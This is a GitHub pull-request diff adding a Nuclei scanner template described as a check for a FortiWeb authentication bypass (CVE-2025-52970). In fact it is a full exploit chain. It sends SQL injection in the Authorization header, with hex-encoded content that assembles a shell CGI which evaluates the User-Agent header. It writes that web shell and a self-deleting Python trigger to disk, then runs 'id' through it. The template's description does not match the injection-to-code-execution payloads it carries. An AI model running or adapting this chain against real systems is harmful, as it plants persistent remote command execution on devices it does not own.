Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions http/cves/2025/CVE-2025-52970.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
id: CVE-2025-52970

info:
name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege
author: Sourabh-Sahu
severity: high
description: |
A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-52970
- https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md
- https://github.com/34zY/CVE-2025-52970
- https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2025-52970
cwe-id: CWE-223
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 23
vendor: Fortinet
product: FortiWeb
tags: cve,fortinet,fortiweb,auth-bypass,priv-esc,high

http:
- raw:
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';drop/**/table/**/fabric_user.a;--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';create/**/table/**/fabric_user.a/**/(a/**/TEXT);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';insert/**/into/**/fabric_user.a/**/values('');--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';drop/**/table/**/fabric_user.a;--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';create/**/table/**/fabric_user.a/**/(a/**/TEXT);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';insert/**/into/**/fabric_user.a/**/values('');--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x62696e2f782e63676920262620726d20)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x2d66202f7661722f6c6f672f6c69622f)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x707974686f6e332e31302f70796c6162)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/a);--

- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer ';select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'

- |
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: {{Hostname}}

- |
GET /cgi-bin/x.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: id

matchers:
- type: dsl
dsl:
- "contains(body, 'root')"
Loading